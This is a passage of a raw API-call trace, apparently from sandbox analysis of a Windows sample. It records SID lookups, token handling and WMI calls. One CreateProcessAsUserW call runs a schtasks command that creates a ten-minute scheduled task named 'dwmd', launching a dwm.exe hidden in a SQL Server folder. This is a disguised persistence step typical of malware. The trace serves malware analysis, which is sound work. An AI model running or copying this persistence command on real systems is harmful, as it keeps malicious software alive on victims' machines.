(pSid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d1538 [0104.574] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0104.574] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0104.574] malloc (_Size=0x18) returned 0x196ef0d1e40 [0104.574] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0104.574] SysStringLen (param_1="-") returned 0x1 [0104.574] memcpy (in: _Dst=0x196ee7bb828, _Src=0x196ee7bb608, _Size=0x54 | out: _Dst=0x196ee7bb828) returned 0x196ee7bb828 [0104.574] memcpy (in: _Dst=0x196ee7bb87a, _Src=0x196ee79a188, _Size=0x4 | out: _Dst=0x196ee7bb87a) returned 0x196ee7bb87a [0104.575] free (_Block=0x196ef0d1960) [0104.575] free (_Block=0x196ef0d1fc0) [0104.575] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0104.575] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0104.575] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0104.575] SysStringLen (param_1="1000") returned 0x4 [0104.575] memcpy (in: _Dst=0x196ee7bb608, _Src=0x196ee7bb828, _Size=0x56 | out: _Dst=0x196ee7bb608) returned 0x196ee7bb608 [0104.575] memcpy (in: _Dst=0x196ee7bb65c, _Src=0x196ee79a188, _Size=0xa | out: _Dst=0x196ee7bb65c) returned 0x196ee7bb65c [0104.575] free (_Block=0x196ef0d1e40) [0104.575] free (_Block=0x196ef0d1ca0) [0104.575] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0104.575] malloc (_Size=0x5e) returned 0x196ef0d0680 [0104.575] free (_Block=0x196ef0d1ba0) [0104.575] malloc (_Size=0x18) returned 0x196ef0d2000 [0104.576] free (_Block=0x196ef0d0680) [0104.576] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0104.580] GetLastError () returned 0x7a [0104.580] malloc (_Size=0x1a) returned 0x196ef0f9ac0 [0104.580] malloc (_Size=0xe) returned 0x196ef0d1d20 [0104.580] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9ac0, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1d20, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0104.581] malloc (_Size=0x18) returned 0x196ef0d19a0 [0104.581] malloc (_Size=0x18) returned 0x196ef0d19c0 [0104.581] free (_Block=0x196ef0f9ac0) [0104.581] free (_Block=0x196ef0d1d20) [0104.581] free (_Block=0x196ef0fa030) [0104.581] free (_Block=0x196ef0d19c0) [0104.581] free (_Block=0x196ef0d19a0) [0104.581] free (_Block=0x196ef0d2000) [0104.582] free (_Block=0x196ef0d1510) [0104.583] malloc (_Size=0x48) returned 0x196ef0d5960 [0104.586] LoadLibraryExW (lpLibFileName="userenv.dll", hFile=0x0, dwFlags=0x0) returned 0x7ffa77c00000 [0104.601] GetProcAddress (hModule=0x7ffa77c00000, lpProcName="DestroyEnvironmentBlock") returned 0x7ffa77c034a0 [0104.601] GetProcAddress (hModule=0x7ffa77c00000, lpProcName="CreateEnvironmentBlock") returned 0x7ffa77c034d0 [0104.601] malloc (_Size=0x18) returned 0x196ef0d2060 [0104.601] CreateEnvironmentBlock () returned 0x1 [0104.615] malloc (_Size=0x18) returned 0x196ef0d19e0 [0104.615] CreateProcessAsUserW (in: hToken=0x2fc, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"dwmd\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"dwmd\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'\" /f", lpProcessInformation=0x67117c708*(hProcess=0x304, hThread=0x314, dwProcessId=0x117c, dwThreadId=0x118c)) returned 1 [0104.631] CloseHandle (hObject=0x304) returned 1 [0104.631] CloseHandle (hObject=0x314) returned 1 [0104.632] free (_Block=0x196ef0d19e0) [0104.632] DestroyEnvironmentBlock () returned 0x1 [0104.632] malloc (_Size=0x48) returned 0x196ef0d5eb0 [0104.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x1f3817b2, dwHighDateTime=0x1d9eb0c)) [0104.632] malloc (_Size=0x10) returned 0x196ef0d1e40 [0104.632] SetEvent (hEvent=0x248) returned 1 [0104.633] CloseHandle (hObject=0x2d4) returned 1 [0104.633] CloseHandle (hObject=0x2fc) returned 1 [0104.656] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788330 [0104.656] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788330, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0104.662] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0104.662] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0105.786] RtlRestoreLastWin32Error () returned 0x670dbf000 [0105.786] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0105.786] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0105.786] RtlRestoreLastWin32Error () returned 0x670dbf000 [0105.786] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10) returned 1 [0105.786] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788350 [0105.786] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0105.786] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0105.786] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0105.786] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0105.789] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0105.790] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0105.790] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0105.791] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0105.791] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0105.796] GetCurrentThread () returned 0xfffffffffffffffe [0105.796] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x270) returned 1 [0105.796] DuplicateTokenEx (in: hExistingToken=0x270, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x26c) returned 1 [0105.796] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0105.796] GetLastError () returned 0x7a [0105.796] malloc (_Size=0x2c) returned 0x196ef0d1610 [0105.796] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d1610, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d1610, ReturnLength=0x67117c740) returned 1 [0105.796] IsValidSid (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0105.797] GetLengthSid (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0105.797] malloc (_Size=0x1c) returned 0x196ef0f9f70 [0105.797] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9f70, pSourceSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9f70*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0105.797] GetSidIdentifierAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1622 [0105.797] malloc (_Size=0x18) returned 0x196ef0d20e0 [0105.797] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0105.797] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0105.797] malloc (_Size=0x18) returned 0x196ef0d20a0 [0105.797] SysStringLen (param_1="S-1-") returned 0x4 [0105.797] SysStringLen (param_1="5") returned 0x1 [0105.797] memcpy (in: _Dst=0x196ee7aa9e8, _Src=0x196ee7aa658, _Size=0xa | out: _Dst=0x196ee7aa9e8) returned 0x196ee7aa9e8 [0105.797] memcpy (in: _Dst=0x196ee7aa9f0, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee7aa9f0) returned 0x196ee7aa9f0 [0105.797] free (_Block=0x196ef0d20e0) [0105.797] free (_Block=0x196ef0d1fc0) [0105.797] GetSidSubAuthorityCount (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d1621 [0105.797] GetSidSubAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d1628 [0105.797] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0105.797] malloc (_Size=0x18) returned 0x196ef0d20c0 [0105.797] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0105.797] SysStringLen (param_1="S-1-5") returned 0x5 [0105.797] SysStringLen (param_1="-") returned 0x1 [0105.798] memcpy (in: _Dst=0x196ee7aa838, _Src=0x196ee7aa9e8, _Size=0xc | out: _Dst=0x196ee7aa838) returned 0x196ee7aa838 [0105.798] memcpy (in: _Dst=0x196ee7aa842, _Src=0x196ee7aa658, _Size=0x4 | out: _Dst=0x196ee7aa842) returned 0x196ee7aa842 [0105.798] free (_Block=0x196ef0d20a0) [0105.798] free (_Block=0x196ef0d20c0) [0105.798] malloc (_Size=0x18) returned 0x196ef0d1b40 [0105.798] malloc (_Size=0x18) returned 0x196ef0d1960 [0105.798] SysStringLen (param_1="S-1-5-") returned 0x6 [0105.798] SysStringLen (param_1="21") returned 0x2 [0105.798] memcpy (in: _Dst=0x196ee7aa658, _Src=0x196ee7aa838, _Size=0xe | out: _Dst=0x196ee7aa658) returned 0x196ee7aa658 [0105.798] memcpy (in: _Dst=0x196ee7aa664, _Src=0x196ee7aa9e8, _Size=0x6 | out: _Dst=0x196ee7aa664) returned 0x196ee7aa664 [0105.798] free (_Block=0x196ef0d1ba0) [0105.798] free (_Block=0x196ef0d1b40) [0105.798] GetSidSubAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d162c [0105.798] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0105.798] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0105.798] malloc (_Size=0x18) returned 0x196ef0d1e60 [0105.798] SysStringLen (param_1="S-1-5-21") returned 0x8 [0105.798] SysStringLen (param_1="-") returned 0x1 [0105.798] memcpy (in: _Dst=0x196ee7aa9e8, _Src=0x196ee7aa658, _Size=0x12 | out: _Dst=0x196ee7aa9e8) returned 0x196ee7aa9e8 [0105.798] memcpy (in: _Dst=0x196ee7aa9f8, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee7aa9f8) returned 0x196ee7aa9f8 [0105.798] free (_Block=0x196ef0d1960) [0105.798] free (_Block=0x196ef0d1fc0) [0105.799] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0105.799] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0105.799] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0105.799] SysStringLen (param_1="1560258661") returned 0xa [0105.799] memcpy (in: _Dst=0x196ee7771b8, _Src=0x196ee7aa9e8, _Size=0x14 | out: _Dst=0x196ee7771b8) returned 0x196ee7771b8 [0105.799] memcpy (in: _Dst=0x196ee7771ca, _Src=0x196ee7aa658, _Size=0x16 | out: _Dst=0x196ee7771ca) returned 0x196ee7771ca [0105.799] free (_Block=0x196ef0d1e60) [0105.799] free (_Block=0x196ef0d1ca0) [0105.799] GetSidSubAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d1630 [0105.799] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0105.799] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0105.799] malloc (_Size=0x18) returned 0x196ef0d2000 [0105.799] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0105.799] SysStringLen (param_1="-") returned 0x1 [0105.799] memcpy (in: _Dst=0x196ee777ca8, _Src=0x196ee7771b8, _Size=0x28 | out: _Dst=0x196ee777ca8) returned 0x196ee777ca8 [0105.799] memcpy (in: _Dst=0x196ee777cce, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee777cce) returned 0x196ee777cce [0105.799] free (_Block=0x196ef0d1ba0) [0105.799] free (_Block=0x196ef0d1ce0) [0105.799] malloc (_Size=0x18) returned 0x196ef0d1f60 [0105.799] malloc (_Size=0x18) returned 0x196ef0d1980 [0105.799] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0105.800] SysStringLen (param_1="3990802383") returned 0xa [0105.800] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee777ca8, _Size=0x2a | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0105.800] memcpy (in: _Dst=0x196ee7bbb80, _Src=0x196ee7aa9e8, _Size=0x16 | out: _Dst=0x196ee7bbb80) returned 0x196ee7bbb80 [0105.800] free (_Block=0x196ef0d2000) [0105.800] free (_Block=0x196ef0d1f60) [0105.800] GetSidSubAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d1634 [0105.800] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0105.800] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0105.800] malloc (_Size=0x18) returned 0x196ef0d1e20 [0105.800] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0105.800] SysStringLen (param_1="-") returned 0x1 [0105.800] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x3e | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0105.800] memcpy (in: _Dst=0x196ee7ba874, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7ba874) returned 0x196ee7ba874 [0105.800] free (_Block=0x196ef0d1980) [0105.800] free (_Block=0x196ef0d1ac0) [0105.800] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0105.800] malloc (_Size=0x18) returned 0x196ef0d1c40 [0105.800] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0105.800] SysStringLen (param_1="1811730007") returned 0xa [0105.800] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x40 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0105.800] memcpy (in: _Dst=0x196ee7bbb96, _Src=0x196ee7aa9e8, _Size=0x16 | out: _Dst=0x196ee7bbb96) returned 0x196ee7bbb96 [0105.801] free (_Block=0x196ef0d1e20) [0105.801] free (_Block=0x196ef0d1fe0) [0105.801] GetSidSubAuthority (pSid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d1638 [0105.801] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0105.801] malloc (_Size=0x18) returned 0x196ef0d19e0 [0105.801] malloc (_Size=0x18) returned 0x196ef0d2040 [0105.801] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0105.801] SysStringLen (param_1="-") returned 0x1 [0105.801] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x54 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0105.801] memcpy (in: _Dst=0x196ee7ba88a, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7ba88a) returned 0x196ee7ba88a [0105.801] free (_Block=0x196ef0d1c40) [0105.801] free (_Block=0x196ef0d19e0) [0105.801] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0105.801] malloc (_Size=0x18) returned 0x196ef0d1a60 [0105.801] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0105.801] SysStringLen (param_1="1000") returned 0x4 [0105.801] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x56 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0105.801] memcpy (in: _Dst=0x196ee7bbbac, _Src=0x196ee7aa9e8, _Size=0xa | out: _Dst=0x196ee7bbbac) returned 0x196ee7bbbac [0105.801] free (_Block=0x196ef0d2040) [0105.801] free (_Block=0x196ef0d1ae0) [0105.801] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0105.801] malloc (_Size=0x5e) returned 0x196ef0d03e0 [0105.802] free (_Block=0x196ef0d1a60) [0105.802] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0105.802] free (_Block=0x196ef0d03e0) [0105.802] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0105.803] GetLastError () returned 0x7a [0105.803] malloc (_Size=0x1a) returned 0x196ef0fa150 [0105.803] malloc (_Size=0xe) returned 0x196ef0d1a20 [0105.803] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1620*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0fa150, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1a20, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0105.805] malloc (_Size=0x18) returned 0x196ef0d20a0 [0105.805] malloc (_Size=0x18) returned 0x196ef0d20c0 [0105.805] free (_Block=0x196ef0fa150) [0105.805] free (_Block=0x196ef0d1a20) [0105.805] free (_Block=0x196ef0f9f70) [0105.805] free (_Block=0x196ef0d20c0) [0105.805] free (_Block=0x196ef0d20a0) [0105.805] free (_Block=0x196ef0d1fa0) [0105.805] free (_Block=0x196ef0d1610) [0105.806] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0105.806] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0105.806] GetLastError () returned 0x7a [0105.806] malloc (_Size=0x2c) returned 0x196ef0d1490 [0105.806] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d1490, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d1490, ReturnLength=0x67117c740) returned 1 [0105.806] IsValidSid (pSid=0x196ef0d14a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0105.806] GetLengthSid (pSid=0x196ef0d14a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0105.806] malloc (_Size=0x1c) returned 0x196ef0f9b50 [0105.806] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9b50, pSourceSid=0x196ef0d14a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9b50*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0105.806] GetSidIdentifierAuthority (pSid=0x196ef0d14a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d14a2 [0105.806] malloc (_Size=0x18) returned 0x196ef0d1960 [0105.806] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0105.806] malloc (_Size=0x18) returned 0x196ef0d1a60 [0105.806] malloc (_Size=0x18) returned 0x196ef0d20e0 [0105.806] SysStringLen (param_1="S-1-") returned 0x4 [0105.806] SysStringLen (param_1="5") returned 0x1 [0105.806] memcpy (in: _Dst=0x196ee7aa658, _Src=0x196ee7aa9e8, _Size=0xa | out: _Dst=0x196ee7aa658) returned 0x196ee7aa658 [0105.806] memcpy (in: _Dst=0x196ee7aa660, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee7aa660) returned 0x196ee7aa660 [0105.806] free (_Block=0x196ef0d1960) [0105.806] free (_Block=0x196ef0d1a60) [0105.806] GetSidSubAuthorityCount (pSid=0x196ef0d14a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d14a1 [0105.806] GetSidSubAuthority (pSid=0x196ef0d14a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d14a8 [0105.807] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0105.807] malloc (_Size=0x18) returned 0x196ef0d1e80 [0105.807] malloc (_Size=0x18) returned 0x196ef0d1f00 [0105.807] SysStringLen (param_1="S-1-5") returned 0x5 [0105.807] SysStringLen (param_1="-") returned 0x1 [0105.807] memcpy (in: _Dst=0x196ee7aa838, _Src=0x196ee7aa658, _Size=0xc | out: _Dst=0x196ee7aa838) returned 0x196ee7aa838 [0105.807] memcpy (in: _Dst=0x196ee7aa842, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7aa842) returned 0x196ee7aa842 [0105.807] free (_Block=0x196ef0d20e0) [0105.807] free (_Block=0x196ef0d1e80) [0105.807] malloc (_Size=0x18) returned 0x196ef0d1f40 [0105.807] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0105.807] SysStringLen (param_1="S-1-5-") returned 0x6 [0105.807] SysStringLen (param_1="21") 